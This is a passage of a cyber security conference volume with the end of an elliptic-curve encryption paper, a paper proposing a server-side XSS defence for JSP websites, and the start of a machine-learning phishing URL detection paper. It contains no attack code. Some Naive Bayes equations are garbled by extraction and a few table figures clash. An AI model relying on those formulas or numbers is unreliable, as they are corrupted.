SMT SOM (1)2 HER MOTHER’S NAME. LISTENING TO MUSIC (11)2
HOBBY.”
452 S. Som

Like this searching and replacing algorithm carries on till all the repeating group
of characters are replaced. The replacement has been done if the total size of the
repeating string is more than the size of binary number, which replaces the string.

3 Performance Analysis Is Compared

In this section, the proposed algorithm has been analyzed for time complexity
performance in contrast to RSA and Triple-DES. This performance analysis has
been done over text files (*.TXT), and executable files (*.EXE). The analysis has
been done over the parameters “Encryption time”, “Decryption time”, “Character
Frequency”, and “chi-square values”. Java programming languages have been used
for developing the programing implementation of the technique.

3.1 Time Complexity Studies on Text Files

Ten different text files sizes have been taken for experiment. The encrypted time,
the decrypted time, and source file sizes have been noted for Triple-DES, RSA, and
proposed technique. Tables 1 and 2 has been shown the encrypted and decrypted
time of growing size of .txt files for proposed, T-DES, and RSA techniques. The
proposed technique has been taken higher time to encrypt or decrypt compared to
Triple-DES and RSA for any file size. Figure 1 shows the pictographic represen-
tation of the same.

Table 1 Comparative study of file size and encrypt time for text files (for proposed, RSA, and
T-DES algo)
File name (.TXT) File size (in bytes) Encrypt Time (in s)
RSA Triple-DES Proposed Algo
adcajavas.txt 629 *0 *0 3.21
license.txt 7168 1 2 21.87
oledbjvs.txt 10,240 1.68 2.56 38.76
nerohistory.txt 17,408 1.99 2.96 40.65
nero.txt 33,792 3.76 4.54 50.43
whatsnew.txt 69,632 6.87 7.32 60.87
new.txt 94,208 7.21 7.98 63.99
c text.txt 132,096 7.97 9.87 65.43
9.txt 540,672 10.65 12.90 68.98
incidia.txt 1,190,912 14.89 15.98 71.65
Encryption Technique Using Elliptic Curve Cryptography … 453

Table 2 Comparative study of file size and decrypt time for text files (for proposed, RSA, and
Triple-DES algo)
File name (*.TXT) File size (in Bytes) Encrypt time (in s)
RSA Triple-DES Proposed Algo
adcajavas txt 629 *0 *0 2.98
license.txt 7168 1 1.9 20.51
oledbjvs.txt 10,240 1.65 2 36.87
nerohistory.txt 17,408 1.99 2.65 39.65
nero.txt 33,792 3.77 3.54 48.87
whatsnew.txt 69,632 6.80 7.01 55.87
new.txt 94,208 7.01 8 60.43
c text.txt 132,096 7.54 9.31 61.08
9.txt 540,572 10.65 13.01 65.72
incidia.txt 1,190,912 14.12 15.99 69.43
Time (Second)

Fig. 1 Encrypt and decrypt time for proposed Algo, RSA, and Triple-DES techniques for .TXT
files

3.2 Time Complexity Studies on Executable Files

Ten different sizes of .exe files have been taken for experiment. Comparative
studies of time complexity have been done for these files to encrypt and decrypt
using proposed, RSA, and Triple-DES Technique. Experimental results have been
noted down in Tables 3 and 4. From the data of Tables 3 and 4 depicts the pro-
posed technique has taken more time to encrypt and decrypt in comparison to
Triple-DES and RSA technique for any size of the executable files. The picto-
graphic representations of the same have been given in Fig. 2.
454 S. Som

Table 3 Comparative study of file size and encrypt time for EXE files (for proposed, RSA, and
Triple-DES algo)
File name (*EXE) File size (in bytes) Encrypt time (in s)
RSA Triple-DES Proposed Algo
1.exe 28,672 2 4 35
2.exe 96,256 3 6 41
3.exe 130,048 7 9 50
4.exe 175,104 13 17 57
5.exe 292,364 14 19 61
6.exe 355,328 19 23 67
7.exe 613,376 29 34 78
8.exe 775,168 35 41 81
9.exe 1,307,648 49 58 98
10.exe 1,835,003 61 67 102

Table 4 Comparative study of file size and decrypt time for .EXE files (for proposed, RSA, and
Triple-DES algo)
File name (*EXE) File size (in bytes) Decrypt time (in s)
RSA Triple-DES Proposed Algo
1.exe 28,672 2 4 33
2.exe 96,256 4 6 40
3.exe 130,048 8 10 45
4.exe 175,104 15 18 55
5.exe 292,864 16 21 58
6.exe 355,328 21 23 62
7.exe 613,376 33 39 73
8.exe 775,168 41 43 79
9.exe 1,307,645 53 61 91
10.exe 1,835,008 66 72 96
Time (Second)

Fig. 2 Encrypt and decrypt time for proposed technique, RSA, and Triple-DES techniques for .
EXE files
Encryption Technique Using Elliptic Curve Cryptography … 455

Chi Square Value

Fig. 3 Pictorial representation of chi-square values for RSA, proposed algo, and Triple-DES

Table 5 Comparison of File name (text Chi-square values

chi-square values in RSA, file) RSA Triple-DES Proposed
Triple-DES, and proposed
Algo
Algo for text files
1.txt 2035.20 1925.98 2192.76
2.txt 4021.59 3835.10 5045.89
3.txt 3758.46 8250.29 119.54
4.txt 17,421.28 17,511.096 21,988.32
5.txt 26,322.44 25,761.70 28,635.97
6.txt 35,324.74 34,432.70 37,982.87
7.txt 44,382.20 42,563.22 45,872.89
8.txt 51,524.99 49,327.87 56,674.01
9.txt 61,235.54 58,929.74 63,999.52
10.txt 67,092.13 65,203.10 71,896.89

3.3 Parametric Test for Non-homogeneity

The well-recognized chi-square parametric tests have been done for

non-homogeneity among encrypted and source files. The higher chi-square values
endorse heterogeneity of the encrypted and source files. To perform the experiment
text file has been taken. Chi-square test has been done using encrypted and source
files for proposed, RSA, and Triple-DES techniques. The increased value of the
chi-square proves the non-homogeneity for increasing file size. Ten different text
file sizes are taken for experiment. The high chi-square value ensures
non-homogeneity among encrypted and source files. The good degree of
non-homogeneity is detected in all three cases of implementation. It has been
concluded that proposed technique has ensured optimum security in communica-
tion. Graphical depictions of chi-square values have been given below (Fig. 3)
(Table 5).
456 S. Som

4 Conclusion

The main attraction of the proposed algorithm is that, compared to RSA, it provides
more or less similar security for a lesser bits size, thereby dropping processing
overhead. The proposed technique is perfect for constrained situation such as
PDAs, cell phones and smart cards. Though proposed technique has taken more
time for encryption and decryption as compared to T-DES and RSA, it has shown
good result in chi-square test. It has been seen that encrypted file using proposed
algo has high chi-square value. This high value is indicating good security.

References

1. Atul K (2005) Cryptography and network security. Tata McGraw-Hill, New Delhi. ISBN
0-07-049483-5
2. Som S, Mandal JK (2008) A session key based secure-bit encryption technique (SBET). In:
National conference (INDIACom-2008) on computing for nation development, New Delhi,
India, 08–09 Feb 2008
3. Al-Vahed A, Sahhavi H (2011) An overview of modern cryptography. World Appl Program 1
(1):3–8. ISSN: 2222–2510
4. Certicom (2000) Standards for efficient cryptography, SEC 1: elliptic curve cryptography,
Version 1.0, Sep 2000
5. Certicom (2000) Standards for efficient cryptography, SEC 2: recommended elliptic curve
domain parameters, Version 1.0, Sep 2000
6. William S Cryptography and network security, principles and practice
7. Anoop MS (2015) Elliptic curve cryptography—an implementation guide. URL: http://www.
infosecwriters.com/text_resources/pdf/Elliptic_curve_AnnopMS.pdf. Last accessed on April
2015
8. Darrel H, Alfred M, Scott V (2003) Guide to elliptic curve cryptography. Springer, Berlin.
ISBN 0-387-95273-X
9. Henri C, Gerhard F, Roberto A (2005) Handbook of elliptic and hyper-elliptic curve
cryptography. Chapman and Hall/CRC. ISBN: 978-1-58488-518-4
10. Jadhav A (2011) Implementation of elliptic curve cryptography on text and image. Int J
Enterp Comput Bus Syst 1(2): ISSN (Online): 2230–8849. http://www.ijecbs.com, July 2011
11. Kumar R, Jaiswal UC (2011) Experimental investigation of image encryption technique using
public key. Int J Tech 1(1):12–14
12. Sharma RD (2011) Quantum cryptography: a new approach to information security. Int J
Power Syst Op Energy Manag (IJPSOEM) 1(1)
Encryption Technique Using Elliptic Curve Cryptography … 457

Author Biography

Dr. SubhranilSom received his Master degree in Computer

Application in 2003, and his Ph.D. in Computer Science and
Engineering from government university, University of Kalyani,
West Bengal, India in the year of 2012. He is currently Associate
Professor in internationally reputed Amity University, UP, India.
He is empaneled Ph.D. supervisor in the Amity University. He
holds a distinction in Physics and Mathematics in Graduation
from Jadavpur University, Kolkata, WB, India. His fields of
interest include Cryptography and Network Security, e-Health,
Robotics, Core Java, C++, C, etc. He was attached with a WHO’s
International Research Project on “e-Health for Health Care
Delivery”, University of New South Wales, Sydney, Australia.
He has visited Malaysia, Singapore, Thailand, UAE, and
Australia for his academic and research work. He has finished
several courses related to computer application, object-oriented
analysis and design, software engineering, and project management. He has more than 15 years of
teaching and research experiences.
A Robust Server-Side JavaScript
Feature Injection-Based Design
for JSP Web Applications Against
XSS Vulnerabilities

Shashank Gupta and B. B. Gupta

Abstract Cross-Site Scripting (XSS) attack vectors are well-thought-out selected

as a serious infection for contemporary HTML5 websites. In this paper, a novel
server-side JavaScript feature injection-based design is proposed that relies on the
concept of inserting the features of JavaScript in order to discover the variation
between the stored and observed features in the HTTP response. In addition to this,
injection of context-sensitive sanitization functions has also adopted by our design
to detect the XSS attack vectors in HTML websites. The prototype of our design
will be developed in Java as a server-side framework, and the experimental results
of our proposed design on JSP websites will also be evaluated as further extension.

Keywords Cross-site scripting (XSS) attacks Script injection vulnerabilities


JavaScript Context-Sensitive sanitization routines HTTP

1 Introduction

XSS is accredited as the most harmful category of web application vulnerability

[1–6]. This could be executed as follows: The attacker visits the Vulnerable Web
Application (VWA) and posts a comment containing malicious JS code [13–16].
The victim visits the web application and logs in through the web browser. The
credentials of the victim get stored on the victim’s browser record and login through
a cookie file sent by the web server [17–20]. If the victim clicks on the attacker’s
malign link, the script gets executed by JavaScript interpreter and victim’s cookies

S. Gupta (&)
Department of Computer Science and Information System, Birla Institute
of Technology and Science, Pilani, Vidhya Vihar, Pilani 333031, Rajasthan, India
e-mail: [email protected]
B. B. Gupta
Department of Computer Engineering, National Institute of Technology Kurukshetra,
Kurukshetra 136119, Haryana, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 459

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_43
460 S. Gupta and B. B. Gupta

Fig. 1 An instance of injection of suspicious script code on JSP websites

get imported to attacker’s system. Figure 1 describes a typical cookie-stealing

scenario by injecting the XSS worm on the web applications.

2 Proposed Defensive Framework

The authors suggested a server-side JavaScript feature injection-based design is

proposed that rely on the concept of inserting the features of JavaScript in order to
discover the variation between the stored and observed features in the HTTP
response. The idea of injecting the context-sensitive sanitization routines has also
adopted by our design to detect the malicious XSS payloads in JavaScript code. The
defensive server-side design regularly creates the rules, incorporates the feature
content, and automatically injects context-sensitive sanitization routines with the
key goal to detect the presence of XSS attack vectors.
The design of the proposed server-side XSS defensive framework (shown in
the Fig. 2) operates in two phases: JavaScript feature injection and
auto-context-sensitive sanitization. In the first phase, our design presents a novel
idea of feature injection that consists of arbitrarily created tokens as well as features
of legitimate JavaScript code w.r.t. the quantity of attributes/tags. Feature injection is
the procedure of injecting a JavaScript comment that cannot transform the antici-
pated behaviors of the response. Such comments are calculated for detecting the
presence of XSS attack payloads for differentiating between the benign and injected
JavaScript. Subsequently, Rule Extractor component is accountable for retrieving
possible features of data as well as holding such features in some shape of precise
rules. Such component is also accountable for producing a variety of precise rules
A Robust Server-Side JavaScript Feature Injection-Based … 461

that are created on the added features as well as saves such rules in the Rule-Based
Feature Repository module. Once, the initial HTTP response is produced on web
server, it has to pass through the Rule-Based Variance detector, which detects some
deviation among the actual stored features and observed features. Even, slight dis-
similarity detected would be deliberated as suspicious injected code and finally, the
appended features will be extracted from the code of JavaScript before entering into
the second phase of Auto-Context-Sensitive Sanitization. The second phase,
Auto-Context Sensitive Sanitization performs a practice of automated sanitizer
assignment via evaluating and discovering the chunk of injected code. However,
assignment of sanitizer is stationary as well as occasionally deviates to dynamic
whenever it is necessary. The key objective of such module is to determine some
inputs related to sanitization on the path of source code of JavaScript.

Fig. 2 Design of proposed server-side XSS defensive framework

462 S. Gupta and B. B. Gupta

Algorithm: Phase 1: JavaScript Feature Injection

1. Retrieve the possible Injection Points IPi (for i = 1, 2, 3, -------n) from the
source code of HTML and JavaScript.
2. Append the Features Fi (for i=1, 2, 3,-----n) of JavaScript in their extracted
source code with some random value of token Ri (for i=1,2,3,-----n)
3. Transmit the extracted values of Fi to the Rule Extractor component, which
generates some well-defined policies based on these extracted features. Such
policies are stored in the Rule-Based Feature database.
4. Lastly, the modified code is transmitted on online server.

Fig. 3 Algorithm of JavaScript feature injection

Algorithm: Phase 2: Auto-Context Sensitive Sanitization

1. Extract the HTTP Request from the web server.
2. Transfer an equivalent HTTP response to Rule-Based Variation Detector
module, which discovers deviation in stored and injected features of scripts.
Even, slight discrepancy noticed in (F1, F2, ---- Fn) would be remarked as
suspicious scripts.
3. Eliminate each related value of Fi (for i=1, 2, 3, -----n) embedded in Java
Script Code.
4. Add Auto Context Sensitive Sanitization routines for the benign as well as
injected JavaScript code in a manual way.
5. The JavaScript Sensor component will now detect the contents of injected
JavaScript code. If the contents of JavaScript code bypass the Automated
Sanitization Routine Injector then an alert would be communicated towards
browser.
6. Else, final modified response would be communicated towards the browser.

Fig. 4 Algorithm of auto-context-sensitive sanitization

After the successful positioning of context-sensitive sanitization functions by

discovering the locations automatically, the last module, JavaScript sensor detects
the injected JavaScript tags in injection points of JSP websites. If any JavaScript
code will be detected by JavaScript sensor, this will be considered as the malicious
injected code as well as an alert would be transmitted toward browser. Else, it
simply extracts all the inserted sanitization-based methods embedded in code of JSP
websites and the final reformed response is transmitted toward browser.
The detailed algorithm of both the phases of our proposed design is illustrated in
Figs. 3 and 4.
A Robust Server-Side JavaScript Feature Injection-Based … 463

3 Discussion

Usually, XSS attacks involve that the web servers, which are controlled by an
attacker, has to initiate a communication with the compromised web pages. Here,
the authors suggested an innovative framework, which is highly inspired by the
current literature works as mentioned in [11, 12]. Our proposed design is reliant
upon the notion of incorporating features of script data in order to discover the
variation between the stored and observed features in the HTTP response. In
addition to this, the notion of incorporating the context-sensitive sanitization
functions has also adopted by our design to detect the XSS attack vectors embedded
in JSP websites. The benefits of our design versus other two recent related XSS
defensive techniques [11, 12] include: (1) it possesses capability for noticing sus-
picious JavaScript function invocation. (2) It is based on the automated prepro-
cessing technique of insertion and abstraction of script features and sanitization
methods embedded in JSP websites. (3) It did not incorporate the valid script as this
could again create the prospect of comprising distant JavaScript file in the related
anchor tag. (4) Our technique consumes tolerable time in detecting XSS attack
vectors as the authors suggested a programmed procedure of insertion of script
features and related sanitization functions.
Our framework simply senses association among the deposited features and
incorporated ones embedded in JSP web platforms. Hence, we could not assure that
our technique can alleviate the attack vectors that circumvent certain conditions that
were present in rule-based repository. In addition, the entirety and correctness of
mined features of script data could not be guaranteed. The authors preferred to
scrutinize the functions for automatic confirmation of retrieved script data features.
However, we considered that our proposed design presents a reasonable assurance
that it will detect certain attack vectors with small percentage of false positives and
incurs tolerable runtime overhead. We will implement the prototype of our design
in Java as a server-side framework. Throughout the course of experimental eval-
uation, we will test and assess the XSS attack recognition proficiency of our
server-side design on the following JSP websites (i.e., JAuction [7]; JVote [8],
MeshCMS [9] and Easy JSP Forum [10]).

4 Concluding Remarks and Further Scope

The authors suggested a server-side JavaScript feature injection-based design that

deals with these issues by incorporating an innovative concept of feature injection
declarations as well as automated assignment of sanitization methods. The proposed
design discovers deviation between the stored and observed features in the HTTP
response message produced on server-side. In addition, the technique detects
the malicious JavaScript attack vectors via a programmed assignment of
context-sensitive sanitization methods. In future, the authors will implement our
464 S. Gupta and B. B. Gupta

server-side design in Java and would assess the suspicious scripts recognition
proficiency of proposed design on JSP websites. In addition, we will also utilize the
HTML5 websites for introducing the concept of inserting the features of script data
and incorporate context-sensitive sanitization routines in their source code.

References

1. Klein A (2002) Cross site scripting explained. White Paper, Sanctum Security Group, June
2. Gupta S, Gupta BB (2016) XSS-secure as a service for the platforms of online social
network-based multimedia web applications in cloud. Multimed Tools Appl 1–33
3. Gupta BB, Gupta S, Gangwar S, Kumar M, Meena PK (2015) Cross-site scripting
(XSS) abuse and defense: exploitation on several testing bed environments and its defense.
J Inf Priv Secur 11(2):118–136
4. Gupta S, Gupta B (2015) PHP-sensor: a prototype method to discover workflow violation and
XSS Vulnerabilities in PHP web applications. In: 12th ACM International Conference on
Computing Frontiers (CF’15), Ischia, Italy
5. Chaudhary P, Gupta S, Gupta BB, Chandra VS, Selvakumar S, Fire M, Goldschmidt R,
Elovici Y, Gupta BB, Gupta S, Gangwar S. Auditing defense against XSS worms in online
social network-based web applications. In: Handbook of research on modern cryptographic
solutions for computer and cyber security, vol 36, pp 216–245, 16 May 2016
6. Gupta S, Gupta BB (2014) BDS: browser dependent XSS sanitizer. Book on cloud-based
databases with biometric applications, In: IGI-global’s advances in information security,
privacy, and ethics (AISPE) series, 31 Oct 2014, pp 174–91
7. JAuction-0.3. http://sourceforge.net/projects/jauction/
8. JVote. Accessed from http://sourceforge.net/projects/jspvote/
9. MeshCMS. http://cromoteca.com/en/meshcms/
10. Easy JSP Forum. http://sourceforge.net/projects/easyjspforum
11. Shaihriar H, Zulkernine M (2011) S2XS2: a server side approach to automatically detect XSS
attacks. In: Ninth international conference on dependable, automatic secure computing, IEEE,
(2011), pp 7–17
12. Shaihriar H, Zulkernine M (2011) Injecting comments to detect javascript code injection
attacks. In: Proceedings of the 6th IEEE workshop on security, trust, and privacy for software
applications, Munich, Germany, July, pp 104–109
13. Gupta S, Gupta BB (2015) Cross-site scripting (XSS) attacks and defense mechanisms:
classification and state-of-the-art. Int J Syst Assur Eng Manage 1–19
14. Gupta S, Gupta BB, Chaudhary P (2017) Hunting for DOM-based XSS vulnerabilities in
mobile cloud-based online social network. In: Future Generation Computer Systems. 12 June
2017
15. Gupta S, Gupta BB (2016) Alleviating the proliferation of JavaScript worms from online
social network in cloud platforms. In: 2016 7th international conference on information and
communication systems (ICICS), IEEE, pp 246–251
16. Gupta S, Gupta BB (2016) An infrastructure-based framework for the alleviation of
JavaScript worms from OSN in mobile cloud platforms. In: International conference on
network and system security 28 Sep 2016, pp 98–109. Springer International Publishing
17. Gupta S, Gupta BB (2016) XSS-immune: a Google chrome extension-based XSS defensive
framework for contemporary platforms of web applications. Secur Commun Netw
9(17):3966–3986
18. Gupta S, Gupta BB (2016) Alleviating the proliferation of JavaScript worms from online
social network in cloud platforms. In: 2016 7th International Conference on Information and
Communication Systems (ICICS), IEEE, pp 246–251
A Robust Server-Side JavaScript Feature Injection-Based … 465

19. Gupta S, Gupta BB (2017) Smart XSS attack surveillance system for OSN in virtualized
intelligence network of nodes of fog computing. Int J Web Serv Res (IJWSR) 14(4):1–32
20. Gupta S, Gupta BB (2016) JS-SAN: defense mechanism for HTML5-based web applications
against JavaScript code injection vulnerabilities. Secur Commun Netw 9(11):1477–1495

Author Biographies

Dr. Shashank Gupta is currently working as an Assistant Professor in Computer Science and
Information Systems Division at Birla Institute of Technology and Science, Pilani, Rajasthan,
India. He has done his Ph.D. under the supervision of Dr. B. B. Gupta in Department of Computer
Engineering specialization in Web Security at National Institute of Technology Kurukshetra,
Haryana, India. Recently, he was working as an Assistant Professor in the Department of
Computer Science and Engineering at Jaypee Institute of Information Technology (JIIT), Noida,
Sec-128. Prior to this, he has also served his duties as an Assistant Professor in the Department of
IT at Model Institute of Engineering and Technology (MIET), Jammu. He has completed M.Tech.
in the Department of Computer Science and Engineering Specialization in Information Security
from Central University of Rajasthan, Ajmer, India. He has also done his graduation in Bachelor of
Engineering (B.E.) in Department of Information Technology from Padmashree Dr. D.Y. Patil
Institute of Engineering and Technology Affiliated to Pune University, India. He has also spent
two months in the Department of Computer Science and IT, University of Jammu for completing a
portion of Post-graduation thesis work. He bagged the 1st Cash Prize in Poster Presentation at
National Level in the category of ICT Applications in Techspardha’2015 and 2016 event
organized by National Institute of Kurukshetra, Haryana. He has numerous online publications in
International Journals and Conferences including IEEE, Elsevier, ACM, Springer, Wiley, Elsevier,
IGI-Global, etc. along with several book chapters. He is also serving as reviewer for numerous
peer-reviewed Journals and conferences of high repute. He is also a professional member of IEEE
and ACM. His research area of interest includes Web Security, Cross- Site Scripting (XSS) attacks,
Online Social Network Security, Cloud Security, Fog Computing and theory of Computation.

Dr. B. B. Gupta received PhD degree from Indian Institute of Technology Roorkee, India in the
area of Information and Cyber Security. In 2009, he was selected for Canadian Commonwealth
Scholarship and awarded by Government of Canada Award ($10,000). He spent more than six
months in University of Saskatchewan (UofS), Canada to complete a portion of his research work.
He has published more than 70 research papers(including 01 book and 08 chapters) in International
Journals and Conferences of high repute including IEEE, Elsevier, ACM, Springer, Wiley
Inderscience, etc. He has visited several countries, i.e. Canada, Japan, China, Malaysia,
Hong-Kong, etc. to present his research work. His biography was selected and publishes in the
30th Edition of Marquis Who’ s Who in the World, 2012. He is also working principal investigator
of various R&D projects. He is also serving as reviewer for Journals of IEEE, Springer, Wiley,
Taylor & Francis, etc. He is serving as guest editor of various Journals. He was also visiting
researcher with Yamaguchi University, Japan in 2015 and with Guangzhou University, China in
2016, respectively. At present, Dr. Gupta is working as Assistant Professor in the Department of
Computer Engineering, National Institute of Technology Kurukshetra, India. His research interest
includes Information security, Cyber Security, Mobile/Smartphone, Cloud Computing, Web
security, Intrusion detection, Computer networks and Phishing.
PHISH-SAFE: URL Features-Based
Phishing Detection System Using
Machine Learning

Ankit Kumar Jain and B. B. Gupta

Abstract Today, phishing is one of the most serious cyber-security threat in which
attackers steal sensitive information such as personal identification number (PIN),
credit card details, login, password, etc., from Internet users. In this paper, we
proposed a machine learning based anti-phishing system (i.e., named as
PHISH-SAFE) based on Uniform Resource Locator (URL) features. To evaluate
the performance of our proposed system, we have taken 14 features from URL to
detect a website as a phishing or non-phishing. The proposed system is trained
using more than 33,000 phishing and legitimate URLs with SVM and Naïve Bayes
classifiers. Our experiment results show more than 90% accuracy in detecting
phishing websites using SVM classifier.

Keywords Phishing
SVM
Bayes classifier
Machine learning

URL

1 Introduction

Phishing is one of the major security threats faced by the cyber-world and could
lead to financial losses for both industries and individuals. In this attack, criminal
makes a fake web page by copying contents of the legitimate page, so that a user
cannot differentiate between phishing and legitimate sites [1]. Life cycle of phishing
attack is shown in Fig. 1. According to anti-phishing working report in the first
Quarter of 2014, second highest number of phishing attacks ever recorded between
January and March 2014 [2] and payment services are the most targeted by these
attacks. The total number of phishing attacks notice in Q1 (first quarter) of

A. K. Jain (&)
B. B. Gupta

Department of Computer Engineering, National Institute of Technology Kurukshetra,
Kurukshetra 136119, Haryana, India
e-mail: [email protected]
B. B. Gupta
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 467

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_44
468 A. K. Jain and B. B. Gupta

Fig. 1 Phishing life cycle: (1) phisher copies the content from legitimate site and constructs the
phishing site; (2) phisher sent link of phishing URL to Internet user; (3) user opens the link and
fills personal on fake site; (4) phisher steals the personal information of user; (5) phisher deletes the
fake web page

2014 were 125,215, a 10.7 percent increase over Q4 (fourth quarter) of 2013.
Existing solution like heuristic based, visual similarity based take features from the
web page content so they take a lot of time to take decision. The phishing URL
classification scheme based only on investigative the suspicious URL and speed up
the running time of system. Therefore, in this paper, we proposed a machine
learning based phishing detection system which uses the URL features and analysed
it using naive Bayesian and SVM classifiers. Moreover, it does not require any
information from the e-content of the suspicious web page.
The remainder of this paper is organized as follows. Section 2 describes the
background and state-of-art techniques, its advantages and limitations. Section 3
describes our proposed phishing detection system in details. Evaluation of the
proposed system with results is discussed in Sect. 4. Finally, Sect. 5 concludes our
paper and discusses the scope for future work.

2 Related Work

There have been several techniques given in the literature to detect phishing attack
in last few years. In this section, we present an overview of detection approaches
against phishing attacks. Phishing detection approaches are broadly classified
into two types: user education based techniques and software-based techniques.
PHISH-SAFE: URL Features-Based Phishing Detection System … 469

Software-based detection is further classified into heuristic based, blacklist-based

and visual similarity based techniques.
User Education based approaches: To classify phishing and non-phishing email,
Kumaraguru et al. [3] developed two embedded training designs to teach users.
After this training, users can identify phishing emails by themselves. Sheng et al.
[4] proposed an educational interactive game “Anti-Phishing Phill” that educates
good habits to keep away from phishing attacks.
Softwar-based approaches: Software-based detection is further classified into
following sub-categories:
(a) Blackl-based approaches: In this type of approaches, the suspicious domain is
matched with a predefined phishing domain called blacklist. The negative
aspect of this scheme is that it usually does not cover all phishing websites
because a freshly launched fraud website takes some time to add to the blacklist
record. Sheng et al. [5] depicted that blacklists are typically add in the record at
diverse frequencies, approximate 50–80% of phishing domains added in
blacklist after performing some financial loss.
(b) Heuris-based approaches: In this type of approaches, the heuristic design of
suspicious websites matches with the feature set, which are generally found in
phishing websites [6]. Zero-day attack (i.e., attacks that were not seen before)
can be identified using heuristic approach. Zhang et al. [7] proposed a
content-based phishing detection technique called CANTINA, which take a
rich set of feature set from various field of a web page.
(c) Visual similarity-based approaches: Visual similarity-based approaches com-
pare the visual appearance of a suspicious website and its corresponding
legitimate site. Visual similarity-based techniques use features set like text
content, HTML Tags, Cascading Style Sheet (CSS), image processing, etc., to
make decision. Chen et al. [8] proposed an anti-phishing approach based on
discriminative key-point features in a web page.
Based on the abovementioned approaches proposed in the literature, we found
that there exists no single technique that can detect various types of phishing
attacks. Moreover, Blacklist/White-list based approaches cannot detect zero-day
attacks. Heuristic-based techniques can detect the zero-day attack but fail to detect
attack if embedded object present in the web page and false positive is also high in
these approaches. Moreover, visual similarity-based approaches can detect the
embedded objects present in the web page but they fail to detect the zero-day
attacks. Therefore, in this paper, we have proposed a machine learning based
anti-phishing system (i.e., named as PHISH-SAFE) based on Uniform Resource
Locator (URL) features which can able to detect variety of phishing attacks
efficiently.
470 A. K. Jain and B. B. Gupta

3 Proposed Phishing Detection System

In this section, we will discuss our proposed phishing detection system which can
detect a phishing page before user inputs personal information. Total 32,951
phishing URLs are taken from phishtank.com to evaluate the performance of the
proposed system. Following features are used for the phishing detection:
• IP Address: A phisher uses the IP address in place of domain name to hide the
identity of a website.
• Sub Domain: Phishing sites contain more than two sub-domains in URL. Each
domain is separated by dot (.). If any URL contain three or more than three dots,
then the probability of the suspicious site is more. In our experiment, we found
that 12,904 sites contain three or more number of dots.
• URL contains “@” symbol: the presence of “@” symbol in the URL ignore
everything previous to it. In our dataset, out of 32,951 phishing URL, 569 sites
contain @ symbol.
• Number of dash (-) in URL: To looks like genuine URL, phisher adds some
prefix or suffix with the brand name with dash, e.g., www.amazon-india.com.
We found that 42.5% of phishing URLs contain “dash” symbol.
• Length of URL: To hide the domain name, phisher uses the long URL. In our
experiment, we found the average length of URL is 74. We found that 7406
phishing sites contain length between 14 and 40 characters. 10,466 phishing
sites are having length between 41 and 60 characters. 6602 phishing URL
contain length between 61 and 80 character and 8475 sites contain length
between 81 and 2205 characters.
• Suspicious words in URL: Phishing URLs contain suspicious words such as
token, confirm, security, PayPal, login, signin, bank, account, update, etc., to
gain the trust on website. We have taken these nine frequently occurred words in
phishing sites.
• Position of Top-Level Domain: This feature checks the position of top-level
domain at proper place in URL.
Example—http://xyz.paypal.com.accounts.765issapidll.xtmll.ebmdata.com.
• Embedded Domain in URL: It checks this by checking for the occurrence of
“//” in the URL.
• HTTPS Protocol: HTTPS protocol is used for security. Phishing does not start
with https while legitimate URL provides security. (In our phishing dataset,
only 388 phishing sites contain https protocol).
• Number of times http appears: In phishing websites, http protocol may appear
more than one time but in genuine site, it appear only one time.
• Domains count in URL: Phishing URL may contain more than one domain in
URL. Two or more domains is used to redirect address.
• DNS lookup: If the DNS record is not available then the website is phishing.
The life of phishing site is very short, therefore; this DNS information may not
be available after some time.
PHISH-SAFE: URL Features-Based Phishing Detection System … 471

• Inconsistent URL: If the domain name of suspicious web page is not matched
with the WHOIS database record, then the web page is considered as phishing.
• Age of Domain: If the age of website is less than 6 month, then chances of fake
web page are more.
Training and testing of the proposed system are performed using following
classifiers:
(a) Naïve Bayes: Naïve Bayes is the probabilistic classifier, based on Bayes’
theorem with “naive” independence supposition. This classifier, used in text
categorization, can be an earning-based variant of keyword filtering. The rules
for decision making are explained below:

0 Pm Pn n o 1
ðiÞ ðiÞ

 i¼1
i
j¼1 1 x j ¼ kandy ¼ 1 þ1
;kjy¼1 ¼ p xj ¼ kjy ¼ 1 ¼ @
Pm 
ðI Þ ¼ 1gn þ jV j
A ð1Þ
i¼1 1fy i

0 Pm Pn n o 1
ðiÞ ðiÞ


i
i¼1 j¼1 1 x j ¼ k and y ¼ 0 þ1
;kjy¼1 ¼ p xj ¼ kjy ¼ 0 ¼ @
Pm 
ðI Þ ¼ 1gn þ jV j
A ð2Þ
i¼1 1fy i

Pm  
1 yðiÞ ¼ 1
;y¼1 ¼ i¼1
ð3Þ
ðm Þ

;xjy¼1 estimates the probability that a particular feature in a phishing URL will be
the k-th word in the dictionary. ;xjy¼0 estimates the probability that a particular
feature in a legitimate URL will be the k-th word in the dictionary. ;y estimates the
probability that any particular URL will be a phishing URL. m is the number of
URLs in our training set. The entire dictionary contains V words or the entire URLs
are V in number. For training, ;xjy¼0 ; ;xjy¼1 ; ;y are calculated and for testing,
p(x|y = 1) p(y = 1) is compared to p(x|y = 0) p(y = 0). To avoid underflow error,
logarithms are used. An email is classified as spam or phishing according to the
following equation:

log pðxjy ¼ 1Þ þ log pðy ¼ 1Þ [ log pðxjy ¼ 0Þ þ log pðy ¼ 0Þ ð4Þ

Support Vector Machine: Support vector machine (SVM) is supervised learning

models frequently used classifier in phishing attack detection. SVM worked based
on training examples and a predefined alteration h:Rs ! F, it makes a map from
features set to produce a transformed feature space, storing the URL samples of the
two classes with a hyperplane in the transformed feature space.
472 A. K. Jain and B. B. Gupta

Table 1 Experiment results

URL instances Classifiers
Naive Bayes (%) SVM (%)
10,000 64.74 76.04
25,000 76.87 91.28

Fig. 2 Features contain by phishing URLs

4 Results and Discussion

In this section, we will discuss the tools and datasets used for implementation and
experiments results. The phishing detection using machine learning is classification
problem where system learns using various features of phishing and legitimate
URLs. After learning the system takes decision automatically based on training. We
have recognized various features of phishing and legitimate URLs discussed in the
previous section. We have collected 32,951 phishing URLs, taken from PhishTank
[9] and 2500 legitimate URLs taken from various sources.
Dataset Used: The dataset for phishing URLs is downloaded from PhishTank.
